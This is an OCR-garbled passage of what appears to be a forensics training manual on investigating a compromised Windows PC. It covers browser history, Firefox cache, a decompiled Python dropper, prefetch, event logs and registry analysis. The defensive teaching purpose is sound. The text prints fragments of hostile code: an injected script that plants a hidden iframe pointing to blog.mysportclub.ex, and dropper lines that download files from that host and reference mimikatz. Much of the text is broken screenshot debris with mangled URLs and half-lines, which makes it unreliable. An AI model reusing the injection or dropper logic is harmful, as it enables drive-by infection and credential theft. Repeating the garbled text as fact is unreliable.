ILnad hiskary from the specified custom folders j |
Hiskary: I
App Data: I Z:mntipart_ciUsers\PeterifppDatalRoaming
Local App Data: IZ:'I,mnt'I,part_c'l,Users'I,Peter'l,P.ppData'l,anaI
™| Load Intermet Explarer histary: by using &PT.
[ Skip duplicate URLs that their tine difference is less than... |5 seconds
oK I Cancel |
A

After clicking OK, the history of visited pages should appear. If the list is empty, make sure all options in the

Advanced Window were set correctly (Options -> Advanced Options).

Next it’s worthwhile to set the time zone to GMT and sort list elements by the Visit Time column. Due to a
Wine bug, you might need to scroll down and up list to refresh it to make the changes take effect.
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File Edit View | Options Help
| 2] Save File Encoding PL
Bl Shiow Time In GMT —— —
LRL v Show Advanced Options On Start e e I Elk it
Eabout:blank &/058/2016 14.55.03 5
,@about:blank Adwanced Options F3 |4/07/2016 15.32.53 1
{88 sbour:start 14/07/2016 16,30.09 1
@about:start 14/07/2016 16,30.09 4
@File:,I',I',I'C:,I'Users,l'Peter,l'D... 26/07/2016 10.36.26 1
[@f”e:II',I'II'C:,I'USBrS,I'PBtBr,I'D... 11/08/2016 15.54.32 2
@F”B:II',I'II'C:,I'USBrS,I'F'BtBr,I'D... 11/08/2016 15.53.29 3
@File:II',I'II'C:II'Users,I'F‘eter,I'D... 11/08/2016 15.53.26 3

Scroll down to the date of the incident, 16/08/2016, and analyse websites visited by the user.

File Edit View Options Help

ECEREEE

LRL [ visit Time ~ [ wisit c... | wisited From |
@https:,l’,l'www.reddit.com,l'r,l'Funnw’comments,|'4x5vxv,|'somebody_at_oreo_headqu... 11/08/2016 14.09,39 1

Bihttp:freddi.com/ 16/08/2016 12,56.05 4

@https:,l’,l'reddit.com,l' 16/08/2016 12,56,05 3 http: f freddit. cam)
@https:ﬁwww.reddit.cnmp’ 16/08/2016 12,56,06 7 https: i freddit. com)
@https:,l',l'apps.skype.cc-m,l'adcc-ntrol,l'prelogic.html 16/08/2016 12.57.53 4

@https:,l’,l‘m.hntmail.com,l’ 16/08/2016 12.57.55 3
@https:,l',l'static.skvpeassets.com,l'adserver,l’#\dLDader—vZ.htmI?version:l.68.4? 16/08/2016 12.57.59 3

{8 about:blank 16/08/2016 12,58.03 5
@https:,l',l'cdn.at.atwola.com,l'_media,l'uac,l'msn.html 16/08/2016 12,58.05 3
@https:,l',l'www.reddit.corn,l'r,l'aww,l'u:ornments,|'4xwxsc,l'itsgicture_day,l’ 16/08/2016 12,58.50 1 https: f feaw, reddit .camy
Brttp:freddit. com/ 16/08/2016 13,02, 18 4

@https:,l’,l'reddit.com,l‘ 16/08/2016 13.02.18 3 htkp: i freddit, canmy
@https:,l’,l'www.reddit.com,l’ 16/08/2016 13.02.20 7 https:jfreddit. comy
@http:,l',l'blog.mycompanv.ex,l’ 16/08/2016 13.02.46 1

4]

175 itemis), 1 Selected | HirSoft Freeware. http:/www.nirsoft.net

Mozilla Firefox cache files are located at
Users\Peter\AppData\Local\Mozilla\Firefox\Profiles\<profname>\cache2:

View Search Terminal Help
raining:/mnt/part_c/Users/Peter/AppData/Local /Mozilla/Firefox/Profiles /z0l

T
T
rw

X W
raining:

To view Firefox cache use MZCacheView?. MZCacheView is located at ~/training/tools/MozillaCacheView/
MozillaCacheView.exe and should be started using Wine.

2 http://www.nirsoft.net/utils/mozilla cache viewer.html
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[=I[=1(]

File Edit Miew OCptions Help

FlEE

[]e & X |7 =
Filenang I Content Type I LIRL

[ File size Fetc

a |

0 ikemis)

| HirSoft Freeware. http:/www.nirsoft.net

In the next window, specify the path to the cache2 folder:

|"'Select Cache Folder "W

I Z:\mntipart_cilsersiPeteri ApphatalLocaliMozillalFiref o Profiles'z 0172 3kd. def aulticache2

" Remember this falder in the next time that you use MZCacheview

| 10 days

" Load only cache files in the Following time range: (In GMT)
From: [oinojz0te -[[15.54.56 < To: Joziosfenis -[|15.54.56 <

™ Load anly cache files From the last

™ Load only files larger than,.. 100 Bytes

I 1000000 Bytes

" Load only Files smaller than. ..

[ o |

Cancel |

After clicking OK, MZCacheView will load data from the cache files. This operation might take a short time.
After the data is fully loaded, change dates to GMT time zone (the same as in Browsing History View tool)

and sort content by Last Modified date.

Scrolling down to the date of the incident, shortly after visiting the blog.mycompany.ex website, multiple
other files were downloaded from another domain, blog.mysportclub.ex:
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[=I[el[]

File Edit ‘Wiew Options Help

(e BX| v HE 2E A

URL [ Fiesize | Lastmodfied » |~
hktp: ffblog. ey comparey, exwp-content/themesiscrallme/ js/custom, jsPver=20120206 2,206 16/08/2016 13,0249
hktp: ffblog.rycompany, exfwp-content/themesiscrallme/ s/ jquery bxslider, js7ver=20120206 14,248 15/08/2016 13.02,49
http: f{blog. iy cormpany, exwp-cantent/themes)iscrallme/ js/nivalightbawx/mivo-lightbosx., js7wer=201 20206 3.072 16/08/2016 13.02.49
http: ffblog.rycompaney, exwp-content/themes scrallmefimages/loading. gif 6,174 16/08/2016 13.02.49
http: f{blog. iy cormpany, ex wp-cantent/themes)scrallme/ js/moustamscrallbarfjguery . mCustomacrollbar jsever=.., 21,798 16/08/2016 13.02.50

http:ffcdnjs. cloudflare,. comfajaxlibs/jquery-mousewheelf3. 1,13/ jquery.mousewheel.min, js?_=1471352567903 1,243 16/08/2016 13.02.50

hi mysporkclul kentuplo skiops ex.php 0la 13
log.myspartclub. exfiwp-content/uploads hktaskiopspy/360a296eal e0abb35F 1 080FSe802Fb4b . himl 1.577 16/08/2016 13.02.51

http: bl

http:{blog.mysportelub. exfwp-contentfuploads hkftaskiopspy/49c58cc2b] 66b1 a5h 1 3eabSF4 72a4f 7h. hitml 1.596 16/08/2016 13.02.51
http: {{blog.mycompany. exfwp-content/uploads | 2016/07 fhammer . jpg 74.544 16/08/2016 13.02.51
http: {{blog.mysportclub. exfwp-contentfuploadshkftaskiopspy/ 393001 Sceft a4a5545c8deb0c 9499005, html 1.573 16/08/2016 13.02.51
http: {{blog.mysportclub. exfwp-contentfuploadshkftaskiopspy/053d 33558d578d2c afe 7 763920 9ab4d 9. hitml 1.594 16/08/2016 13.02.51
http: {{blog.myspartclub. exfwp-contentfuploadsfhkftaskiopspy/1493f 0e6lacaSbec 75340509607 390b4  himl 1.565 16/08/2016 13.02.52
http: {{blog.mysportelub. exfwp-contentfuploads hkftaskiopspy/SbFOche? 2d9F795dd4 061 c9665F G429, html 1.566 16/08/2016 13.02.52
http:f{blog.mysportelub. exfwp-contentfuploadshktaskiopspy/ 1FF 1 aSebSffe45564 121 7704db7e0a55. html 5.011 16/08/2016 13.02.52
http: {{blog.mysportclub, exfwp-contentfuploadsfhktaskiopspy/dl 1al Deatlazbac0le7azb6 2072347 La, html 1,646 16/08/2016 13.02,52
htltp:,l',l'hlog.mysportclub.ex,l'wp—content,l'uploads,l'h)ftaskl’opspy,l’1 1415c]18eleaas5947fclaecfdacs49d, html 105 16/08/2016 13,0253 «
4 4
5151 item{s), 1 Selected {0.54 KB} | HirSoft Freeware. http://www.nirsoft.net

Export cache files to separate directory for further analysis and to keep evidence data in one place.

To export cache data, select all entries related to blog.mysportclub.ex domain. Then right click on selected
items and choose “Copy Selected Cache Files To...”.

http: {{blog. mycompany . exfwp-content/themes/scrollme/jsfmeustomscrollbarf jquery. mCustomScrollbar . jsever=...  21.793 16/08/2016 13.02.50
http: {fcdnjs. cloudflare. comyajaxlibs)jquery-mousewheelf3. 1. 13/ jquery . mousewheel.min. js?_=1471352567903 16/08/2016 13.02.50

bbbl

@pen Link In Web Erovser
Copy URLs Chrl+U
@pen Selected Cache File 7

Save Selected Items Chrl+5
Copy Selected Items Chrl+C

Choaose Columns
Auto Size Columns Ctrl+Plus

Eroperties AlE+Enter

Refresh

http: ffblog. mecompany . exfwp-content/uploads) 2016,/07 fbrick-building, jpg 1.278.572 16/08/2016 13.03.17

In the next window, specify an output directory (if this directory doesn’t exist it should be created first!).
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I Z:\home! enisattraininglex14ff_cache\blog.mysportclub, ex e |

¥ Copy as new name if filename already exists

ml Zave the files in the directory structure of the Web sike:

r Update the modified time of the copied Files according to modified time in the Web server

oK I Cancel |

A
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The same should be repeated for blog.mycompany.ex domain (changing only the output directory).

Perform an analysis of the exported cache files. A good starting point would be an analysis of the index file

of the blog.mycompany.ex website:

File Edit Wiew Search Terminal Help

raining/e:

enisa@training:~/training/ex1/ff_cache/blog.mycompany.exs$

After opening it in a text editor, notice strange script at line 153:

File Edit View Search Terminal Healp

Bscript="n
if (document

function

var document
-content/uploads /hk/task /ops

'absolute';~M
10" ;"M
top = '0';*M
('‘width', '10');~M
(*height', *'10'); document ('body') [0]
“M
‘'script>"H

Now switching to the analysis of cache files from blog.mysportclub.ex, open /wp-

(*iframe') ('src', 'http://blog.mysportclub.ex/wp

content/uploads/hk/task/opspy/index.php file (previously saved to blog.mysportclub.ex as

index.php.htm).
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File Edit WView Search Terminal Help
<script src='../../assets j
Opspy

</op

frame
frames<iframe s
/iframe=

0 I b
k/task/test

File Edit View arch Termimal Help
enisaftraining:~/training/ex1/ff_cache/blog.my

enisaftrainin /training /tf_cache/l

ortclub.ex$ grep

ortclub.

Open the first file found. Additionally to make viewing easier it’s good to replace all ‘\n’ phrases with

actual characters of new line.

blog.mysportclub.ex$ cat 15

Scroll down to the middle of the file where cmd variable is defined.
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File Edit WView Search Terminal Help

ar windows = (ua.1inc

5.5 Decompiling Python executable
Filesystem analysis revealed that at 13:10:03 UTC suspicious executable 54948tp.exe was created at
%TEMP% path.

View Search Terminal Help
- /s re

File

enlisa

ata/Local /Temp/54

0 outl 54948tp.exe

Next using uncompyle6* tool try decompiling the bytecode in .pyc files to the original python code.

3 https://github.com/matiash/unpy2exe
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File Edit WView Search Terminal Help

File Edit WView Search Terminal Help
shell.shell import ShellExecuteEx
ell 1mport shellcon

blog.mysportclub.ex/wp-content/uploads/hk/files /data_

File View Search  Terminal Help

File download
File download

etenv('APPDATA'), 'EpUpdate')

Decompress into EpUpdate

"mmktz),
out_dir,

return True

Find and inspect main function.

4 https://pypi.python.org/pypi/uncompyle6/
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earch

t'])

Help

Terminal

'hpd' 1n PATHS:

output

Next, check in Autopsy referenced %TMP%/SystemProfile directory.

Current Di y:C:/ J/Users/ /Peter/ /AppData/ /Local/
/Temp/ /SystemProfile/
ADD NOTE GENERATE MD5 LiST OF FILES

DE E?T_n NAME L WRITTEN ACCESSED CHANGED CREATED
d/d el 2016-08-16 15:10:35 (GMT) 2016-08-16 15:10:35 (GMT) 2016-08-16 15:10:35 (GMT) 2016-07-14 14:26:50 (GMT)
d/d i 2016-08-16 13:52:21 (GMT) 2016-08-16 13:52:21 (GMT) 2016-08-16 13:52:21 (GMT) 2016-08-16 13:14:47 (GMT)
rir bpd.log 2016-08-16 13:14:50 (GMT) 2016-08-16 13:14:50 (GMT) 2016-08-16 13:14:50 (GMT) 2016-08-16 13:14:50 (GMT)
rir mimikatz.log 2016-08-16 13:14:50 (GMT) 2016-08-16 13:14:48 (GMT) 2016-08-16 13:14:50 (GMT) 2016-08-16 13:14:48 (GMT)
d/d netscan/ 2016-08-16 13:59:36 (GMT) 2016-08-16 13:59:36 (GMT) 2016-08-16 13:59:36 (GMT) 2016-08-16 13:52:21 (GMT)

rlr sysinfo.txt

Inspect sysinfo.txt file.

File Edit WView arch

2016-08-16 13:34:59 (GMT)

Terminal Help

2016-08-16 13:34:25 (GMT)

2016-08-16 13:34:59 (GMT)

2016-08-16 13:34:25 (GMT)




Check SystemProfile/netscan/ directory.

Forensic analysis
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Current Directory: C:/ /Users/ /Peter/ /AppData/ /Local/
/Temp/ /SystemProfile/ /netscan/
App NoTE GENERATE MD5 LiST OF FILES

DE ;;:' fPien NAME (L WRITTEN ACCESSED CHANGED CREATED
d/d ../ 2016-08-16 13:52:21 (GMT) 2016-08-16 13:52:21 (GMT) 2016-08-16 13:52:21 (GMT) 2016-08-16 13:14:47 (GMT)
did ./ 2016-08-16 13:59:36 (GMT) 2016-08-16 13:59:36 (GMT) 2016-08-16 13:59:36 (GMT) 2016-08-16 13:52:21 (GMT)
rir 192.168.5.1.xml  2016-08-16 13:59:34 (GMT) 2016-08-16 13:59:29 (GMT)} 2016-08-16 13:59:34 (GMT) 2016-08-16 13:59:29 (GMT)
rir 192.168.5.10.xml  2016-08-16 13:59:36 (GMT) 2016-08-16 13:59:34 (GMT)} 2016-08-16 13:59:36 (GMT)} 2016-08-16 13:59:34 (GMT)
rir 192.168.5.15.xml  2016-08-16 13:59:49 (GMT) 2016-08-16 13:59:36 (GMT) 2016-08-16 13:59:49 (GMT) 2016-08-16 13:59:36 (GMT)

Check contents of the .xml files found in netscan/ directory.

File Edit Wiew Search

Brxml version="1.0"
<!DOCTYPE nmapruns
tylesheet href="file:///C:/Us

<?xml -

i Nmap 7.12
EpUpdatey)

5.6 Prefetch analysis

Terminal Help

oding="UTF-8"7>

To parse Windows 10 prefetch files use 505Forensics script®. Script can be found at
~/training/tools/win10_prefetch/. Run this script and save its output to prefetch.csv file. Then open
prefetch.csv file in LibreOffice Calc.

Search Terminal
~/trainir

Help

mnt/part_c/wWi

s/Prefetch

=~ prefetch.cs

LibreOffice should correctly propose separating values by commas. In the Text Import window just click Ok.

5 http://www.505forensics.com/windows-10-prefetch/
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" 'Text Import - [prefetch.csv]
Import
Characterset: nicode (UTF-8) =
Language: |Default -English (USA) =
From row: 1 =
Separator Options
Fixed width ® Separated by
& 1ab & comma & semicolon ["] space [] other
["] Merge delimiters Text delimiter: | "
OtherOptions
[] Quoted Field as text [ Detect specialnumbers
Fields
Column type:
Standard |standad  |Standard |standand
1 Executable Name Run Count Prefetch Hash Last Run Tlmj;
~2 WMIADAP.EXE 11 FEDFDFAZ 2016-08-16 1
"3 GCRIPT-FU.EXE 1 £4341751 2016-07-15 1&
~4 LOGONUI.EXE 4 9140401 2016-07-26 OF
"5 NGENTASK.EXE 15 BETF7010 2016-08-16 1%
6 NETSTAT.EXE 1 SABASOEF 2016-08-16 13
~7 HELPER.EXE 1 AQFC12DE 2016-08-03 1z
8 SKYPE.EXE 1 58F6AD1T 2016-08-03 11
v i | 3
Help | oK | Cancel

Forensic analysis
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Select all data cells and from Data menu choose sort. Then choose column D (Last Run Time 0) for primary

sort key (Sort Key 1).

Executable Name

Run Count Prefetch Hash Last Run Time O

Last Run Time 1 Last Run Time 2 Last Run Time 3

11 FBDFDFA2 2016-08-16 12:58:38 2016-08-11 11:13:43 2016-08-03 11:43:09 |2016-08-01 07:38:37
1/C4341751 2016-07-15 18-:01:34 N/A N/A NIA
4 9140401 2016-07-26 08:07:56 2016-07-15 16:12:22 |2016-07-14 14:26:57 |2016-07-14 14:24:07

15 BB7F7010 2016-08-16 15:09:46 2016-08-16 15:06:55 2016-08-16 15:00:56 |2016-08-16 15:00:57
15A5A908F 2016-08-16 13:34:50 NIA
1A9FC12DB 2016-08-03 12:01:32 N/A MN/A NIA
158F6AD17 2016-08-03 11:52:11  NiA N/A NIA
14C40BEBA 2016-08-16 13:05:57 NiA N/A NIA

20 2CA93386 2016-08-16 14:13:45 2016-08-16 13:00:34 2016-08-11 13:28:11 |2016-08-11 11:14:51
2/35CCO7B6 2016-07-14 13:34:50 2016-07-14 13:34:44 N/A
5817FBF1D 2016-08-16 12:57:23 2016-07-26 08:28:01 2016-07-15 17-:12:03 |2016-07-15 17:04:29
2/5CO3E816 2016-08-11 13:54:06 2016-07-15 17:49:06 N/A

18/531BDIEA 2016-08-16 13:50:29 2016-08-16 13:03:02 2016-08-16 12 2016-08-03 11:57:54
6/4A6353B9 2016-08-16 12:55:40 2016-08-03 11:39:21 2016-07-19 10:33:03 |2016-07-15 17:43:09
2/2CAC53BA 2016-08-16 12:55:36 2016-07-14 14:24:10 N/A NIA
1/B55F4711 2016-07-15 17:01:44 NIA

416/B0OFB131B 2016-08-17 11:58:38 2016-08-17 11:28:38 2016-08-17 11:17:19 |2016-08-17 10:58:38

12BC38967 2016-08-16 13:34:50 N/A
1 ADBE132E 2016-07-15 18:01:34 N/A NIA NIA

Last Run Time 4

Last Run Time 5

Last Run Time 6

Last Run Time 7

2016-07-27 11:47:05
N/A
N/A
2016-08-16 13:22:13
N/A

N/A
NIA
N/A
2016-08-03 11:54:27
N/A
2016-07-14 13:36:53
N/A
2016-07-26 08:33:38
2016-07-15 17:34:11
N/A

2016-08-17 10:28:38

N/A

2016-07-26 08:21:22
N/A

2016-08-11 13:28:07
N/A

MN/A
N/A
N/A
2016-08-03 11:44:17
N/A
N/A
MN/A
2016-07-15 17:53:31
2016-07-15 17-01:40
MN/A

2016-08-17 09:58:38

NIA

2016-07-19 10:35:52 2016-07-15 17:46:54
N/A N/A

/A
2016-08-11 13:25:25 |2016-08-01 09:48:47
N/A /A
MN/A /A
N/A /A
2016-08-01 08:46:33 2016-08-01 07:37:41
N/A /A
MN/A

N/A
MN/A

2016-08-17 09:28:37 2016-08-17 08:58:37

NIA

2016-07-15 17:48:22 2016-07-15 17:12:06
/A

/A

N/A
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[~ Sort "N =
Sort Criteria | Options
Sort Key 1
. @ Ascending
iColumn D z B
Descending
Sort Key 2
@ Ascending
-undefined - z B
| Descending
Sort Key 3
Ascending
-undefined -
Descending
Help | oK | Cancel Reset

Table data should now be sorted by last run time of the binaries.

Scroll down to the time of the incident.

Forensic analysis
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B | D E F

G

1 |Executable Mame Run Count Last Run Time 0 Last Run Time 1 Last Run Time 2 Last Run Time 3

104 PLUGIN-CONTAINER 15 2016-08-16 13:03:00 2016-08-16 12:56:01 2016-08-03 11:53:01 2016-08-03 11:45:16
105 FLASHPLAYERPLU® 8 2016-08-16 13:03:01 2016-08-16 13:03:01 2016-07-26 08:26:43 2016-07-26 08:26:43

106 UPDATE.EXE 2 2016-08-16 13:03:04 2016-08-16 13:03:03 N/A NIA

107 \WINDOWS-KB8908% 1 2016-08-16 13:05:57 MN/A N/A NIA

108 MRT.EXE 2 2016-08-16 13:06:18 2016-07-19 11:15:09 N/A N/A
__d B | D | E | F |

1 |[Executable Name Run Count Last Run Time 0 Last Run Time 1 Last Run Time 2

110 WMIAPSRV.EXE 6 2016-08-16 13:09:32 2016-08-16 13:09:32 2016-08-16 13:07:30

111 54948TP.EXE 1 2016-08-16 13:10:13 NIA NIA

112 MIMIKATZ.EXE 1 2016-08-16 13:14:47 NIA NI/A

113 BROWSERPASSWOC 1 2016-08-16 13:14:50 NIA NIA

114 \WINSAT EXE 3 2016-08-16 13:21:55 2016-08-01 10:26:19 2016-07-20 02:37:28

115 W32TM.EXE 4 2016-08-16 13:26:36 2016-08-11 13:25:10 2016-08-01 09:48:49

- B D | E | F | G H
1 |Executable Name Run Count Last Run Time 0 Last Run Time 1 Last Run Time 2 Last Run Time 3 Last Run Time 4

116 [PING.EXE 9 2016-08-16 13:26:37 2016-08-16 13:26:37 2016-08-11 13:25:11 2016-08-11 13:25:11 2016-08-01 09:48:49
117 WHOAMI.EXE n 2016-08-16 13:34:25 2016-08-16 13:09:04 2016-08-16 13:08:58 2016-08-16 13:08:58 2016-08-16 13:08:58
118 [NETSTAT.EXE 1 2016-08-16 13:34:50 NIA N/A N/A NIA
119 |ARP.EXE 1 2016-08-16 13:34:50 NIA N/A NIA NIA
120 (IPCONFIG.EXE 4 2016-08-16 13:34:50 2016-08-16 13:34:49 2016-08-16 13:34:25 2016-08-16 13:09:16 N/A
121 |ROUTE.EXE 1 2016-08-16 13:34:50 NIA N/A NI/A NIA
122 [NETSH.EXE 3 2016-08-16 13:34:51 2016-08-16 13:34:51 2016-08-16 13:34:50 N/A NIA
123 |GPRESULT.EXE 1 2016-08-16 13:34:51 NIA N/A NIA NIA
124 |DEFRAG.EXE 6 2016-08-16 13:39:08 2016-08-16 13:21:58 2016-08-11 12:20:42 2016-08-01 08:46:42 2016-07-25 05:25:01

125 |[CONSENT.EXE 18 2016-08-16 13:50:29 2016-08-16 13:03:02 2016-08-16 12:58:49 2016-08-03 11:57:54 2016-07-26 08:33:38
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A B E F G H 1
1 |Executable N#un CowLast Run Time 0 Last Run Time 1 Last Run Time 2 Last Run Time 3 Last Run Time 4 Last Run Time 5

130 |[NS1027. TMP 1  2016-08-16 13:50:39 N/A NIA N/A N/A MNIA

131 NMAP.EXE 11 2016-08-16 13:59:34 2016-08-16 13:59:29 2016-08-16 13:59:26 2016-08-16 13:56:36 2016-08-16 13:56:33 2016-08-16 13:56:30
132 HYDRA.EXE 10 2016-08-16 14:04:44 2016-08-16 14:04:44 2016-08-16 14:04:44 2016-08-16 14:04:44 2016-08-16 14:04:44 2016-08-16 14:04:44
133 |INSTALLAGER 29 2016-08-16 14:13:45 2016-08-16 13:00:34 2016-08-11 13:28:11 2016-08-11 11:14:51 2016-08-03 11:54:27 2016-08-03 11:44:17
134 PLINK.EXE 6  2016-08-16 14:23:31 2016-08-16 14:22:45 2016-08-16 14:20:44 2016-08-16 14:17:45 2016-08-16 14:11:20 2016-08-16 14:10:49
135 CMD.EXE 18 2016-08-16 14:44:17 2016-08-16 14:23:05 2016-08-16 14:19:45 2016-08-16 14:17:24 2016-08-16 14:09:37 2016-08-16 14:02:52
136 PSCPEXE 3 2016-08-16 14:50:09 2016-08-16 14:47:54 2016-08-16 14:47:12 NI/A NIA NIA

137 |COMPATTELR 12 2016-08-16 15:00:47 2016-08-16 15:00:47 2016-08-16 13:22:05 2016-08-16 13:22:05 2016-08-11 11:21:00 2016-08-11 11:21:00

5.7 System logs analysis

Copy all Windows logs from Windows\System32\winevt\Logs to ~/training/ex1/winevt/evtx/.

Edit

View

dtraining:

Search Terminal

cd training

He |_|::-

exl
mkdir
mkdir

mnt/p

art_c/Windows

File Edit View

raining:

Se

raining: ~

File

enis

Edit

Wiew

training
traininc

5

itraining:~/training/ex

earch  Terminal

ml
ml
mL

Help

v evixdump.pl "$fe

/winevt/xmlg 1s | h

Open any of the XML files and inspect XML structure of system logs.

mL/rgfr .

ml; done
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File Edit View Search Terminal Help
Brxml version="1.0" encoding="utf-8" standalone="
vents>
vent xmlns="http://schemas.microsoft.com/win/2004/08/events /event">

Guid="" 9-472C- ASF9-F2BDFEAOF156}" EventSource

2 ! a separated 1 of Event IDs
s PATTERNS ¢ d L of patterns

i~/traini

Search  Terminal Help
:~/training/tools$ . /lc
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e g: : B ==l

Terminal Help

S04FBDF7D101} "

Search for all events mentioning “hydra.exe” phrase — possibly logged at different period of time. This can
be done by specifying pattern filter to logparse.py.

File Edit View arch Terminal Help

enisa@training:~/training/toolss$ ./logparse.py rn hydra.exe ../ exl/winevt/xml
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rch Terminal

g

Help

winevt/xml

Forensic analysis
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File Edit WView Search Terminal

/trainin

/t

o
Cda

Help

[=][=]]
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6. Registry analysis

6.1 Copying and viewing registry
Copy all registry files to separate directory at ~/training/ex1/registry:

. BIEE

Search  Terminal Help

Start Windows Registry Recovery (WRR) tool from ~/training/tools/WRR/WRR.exe using Wine.

W S

|Eile Windows Help

Lok in: IEregistry j ﬁl gl El g

DEFALLT || usrclass.dat
NTUSER.DAT

SAM

SECURITY

SOFTWARE

SYSTEM

File name: | SOFTWARE = Open
[~

Files of type: I.D.II files Cancel |
g

2

Using WRR open HKLM\Software hive located in SOFTWARE file.
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[=I[=]]
ﬂ File Explore Windows Help ==
4 SOFTWARE
|5 Export ko REGEDIT4 form... IZ:'l,home'l,enisa'l,l:raining'q,exltregistry\SOFTWARE
]
Export Data... Twpe: Windows NT Registry
P—— i Last modified: 9/19/2016 2:05:24 PM
ghlclcioation Hive name: emRootSystem32YConfighSOFTWARE
&5 Security Records Checksum: EBACEF7E
Mumber of keys: 130755
@ T MNumber of HEINs: 8652
[ Windaws Installation Loading time: 1.46 5
:' Hardware CRC32: 0990356
El \ser Data MDS : 94668584675 363E06FG2FE5243045016
SHAL : FEOGEFODFE 2] 949E2CFEDECIFSDESYS46ES 1 ADCE
@ Startup Applications
{E} Services and Drivers
@ Mebwork Configuration
@ Windows Firewall Settings
& Erwirornment
Shell Falders
Lﬁ Outlook Express
a Raw Data
‘Windows NT Registry | 130755 keys loaded |Z:'l,home'l,enisa'l,training'l,exl'l,registry'l,SOFTWARE 4
Check what information can be extracted from registry using WRR tool.
["'MiTeC Windows Registry Recovery - [SOFTWARE] ™% |
4 File Explore Windows Help == x]
£7 SOFTWARE
= Ir lled Sof i
& Export to REGEDIT4 fo... l[— General § Installed Software IHot Fixes “
Mame | ‘ersion | Company Datetime | Uninstall
] -
Export Data... ', Skype™ 7.26 7.26.101 Skype Technalo... 20160816  MsiExec.exe [X{FCO65A47-4830-40CA-B6 18- 16F486
- Adobe Flash Player 18 NPAPT 15.0.0.194 Adobe Systems... Ciwindows system3ZiMacromediFlashiFlashikil32_
% File Information " ) ) ] B
- GIMP 2.8.16 2.8.16 The GIMP Team 20160715 C:\Program Files\GIMP 2\uninstiunins000, exe
é;;) Security Recards Inkscape 0,91 0.91 inkscape.org 20160726 MsiExec.exe [[{51922150-317E-4BB0-A310-FFLC14R
Mozilla Firefox 33.0.3 (x86 en-US)  33.0.3 Mozilla ":\Program Files\Mozilla Firefox) uninst allyhelper  exe’
@ 2 Mozilla Maintenance Service 45.2.0 Mozilla "Ci\Program FilesiMozilla Maintenance Serviceluninst.
[, Windaws Installation = Mozilla Thunderbird 45.2.0(x86 ...  45.2.0 Mozilla C:\Program FilesiMozilla Thunderbirdiuninstallihelper,
" WinPcap 4.1.3 4,1.0.2980  CACE Technolo... ":\Program Files\wWinPcapiuninstall exe"
1 Hardware
El User Daka
@ Startup Applications
{E} Services and Drivers |4 | | 3
'Windows MT Registry | 130755 keys loaded |Z:'l,home'l,enisa'l,training'l,exl'l,registry'l,SOFTWARE v

Choose Raw Data function from the left panel to view the original registry structure.
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@ File Explore ‘Windows Help =l=1x]
£4 SOFTWARE
& Export to REGEDIT4 form. .. | lre) | & & | SR NI |
E] Export Data +D Falicies ﬂ Walue Type | Data
D PowerEfficiencyDiagnostics ab| HKLM REG_ExXPAM... Ci\Users\PeterlAppData\RoamingiHostDaka\update. exe
2% File Information +D PrecisionTouchPad
[:I PreviewHandlers
&5 Security Records +D PropertySystem
'U SaM +D Praximity
+D Pushhotifications
& Windows Installation + [ Reliability
o
® Hardware (23 RetaiDema
User Data 23 runcnce
(22 Search
@ Startup Applications R X
D SelectiveRemotewipe LI ‘l _'I
Services and Drivers LD -
@ Metwork Configuration Key Type value | Data
&’ ‘windows Firewall Settings
& Ervironment
[ shell Folders
[£) Outlook Express 4] | |
Search L Log
Ia Raw Data
| Key Path |ROOT'l,MicrosoFt'l,Windows'l,CurrentVersion'l,Run
lWindows T Reqistry | 130755 keys loaded |Z:'l,home'l,enisa'l,training'l,exlﬁ,registry'l,SOFTWARE v

6.2 Inspecting registry timeline
Use regtime plugin of RegRipper tool to create timeline.

Search Terminal Help
-/training/tools/RegRipper? wine rip.exe -r ../..fexl/registry/NTUSER.DAT -p regtime | lessf]

Scroll timeline until date of the incident when GhCtxq8t key was modified.

File Edit View Search Terminal Help
e Aug 16 : J1E W/ e crosofthInternet ExploreriLowReglstry’ Aui
Fl4F}

Inspect contents of GhCtxq8t key using WRR tool and Raw Data function.
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£ NTUSER. DAT

7 |5 Export to REGEDIT# farm. . @7 8 &l
T corteare =
B Export Data... 204 pppDatalon _I Value Type | Data
+D clients 3‘_’3 Serverstarted REG_EXPAM... 16/08/2016 15:03:04
3 ¥ File Information H 2 cyguin g!ﬂ Installedserver REG_EXPAM... C:iUsersiPeter\appDataiRoamingiHostDatalupdate, exe
oh : ghj NewGroup REG_EXPAM... superapt
. I L
& Security Records 5 IP " 2] Newld REG_EXPAN... superapt
roviders
N H FirstExecution REG_EXPAM... 16/08/2016 15:03:10
’B SAM +D Macromedia é"hj - 1054
7 Windows Installation +[:| Microsoft
+D Mozilla
8 Hardware * (23 Palicies
User Data D Registeredapplications
+[:I SimnonT athar
EB Startup Applications + (] Skype
- — O System LI 4| | *

Search for PuTTY related entries on the registry timeline created from NTUSER.DAT file.

File Edit WView Search Terminal Help
Tue Aug 16 14: 2016 ROCT
Tue Aug 16 14:

Tue ALl & 14:

SimonTatham
SimonTatham,PuTTY

Cygwin
CygwiniInstallations

Tue Aug 16 14:11: 20162 wareySimonTatham\PuTTY\ SshHostkeys

Tue Aur G 14:
Tue Al :

=
; E M_olaa .| Yalue Twpe Data
27 polci

nicies ab]| rsa2@22:192.168.5.10  REG_SZ 0x10001, Dxblee239bc021d51 97547 ae5f 48293251 389936 de25a0608607 ot

[0 reqisteredapplications

| i

6.3 UserAssist
To quickly decode and extract information about UserAssist use userassist plugin from the RegRipper tool:

Search  Terminal Help
:~/training/tools/ReqRipper2.8% wine rip.exe -r ../../exl/registry/NTUSER.DAT -p userassist

Find the UserAssist entries related to the incident:
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Search  Terminal Help

at PERLZEXE_S

File Edit WView

C71741\TaskBar\Moz1lla Firefox.lnk (4)

6.4 List of installed applications
Start by opening with the WRR tool SOFTWARE registry file. Then navigate to
Microsoft\Windows\CurrentVersion\Uninstall key:

ﬂ Value Tvpe Data

Uninstall
D {81922150-317E-4BB0-A31D-FFLC14F707C5)

D {FC965A47-4539-40CA-BA18-16F456F04 26}

-0 addressBaok

(21 adobe Flash Player NPAPT

D Connection Manager

D DirectDrawE:x

[0 D¥M_Runtime

D Fontcare

<[00 aImp-2_isl

<[ €40

([0 IE4Data | |
~ [0 1ESBAKEX

[0 IEData

<[22 mohileGptionPack

(20 Mozila Firefox 33.0.3 (xB6 en-UIS)

- Mozila Thunderbird 45.2.0 (xa6 en-Us)

- MozilaMaintenanceService

<[ mPlayerz

-2 SchedulingAgent

- [ wic

D WinPcapInst

#( URL

D UserPickureChange j <|

Key Path |ROOT'l,Microsoft'l,Windows'l,Current'v'ersion'l,UninstaII
laaded | Z:ihome\enisaltraininglex1iregistry| SOFTWARE

Each Uninstall subkey contains some information about application (varying between subkeys) like
installation date, path to uninstall binary, app version or install source.
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|7 8 & L9 &

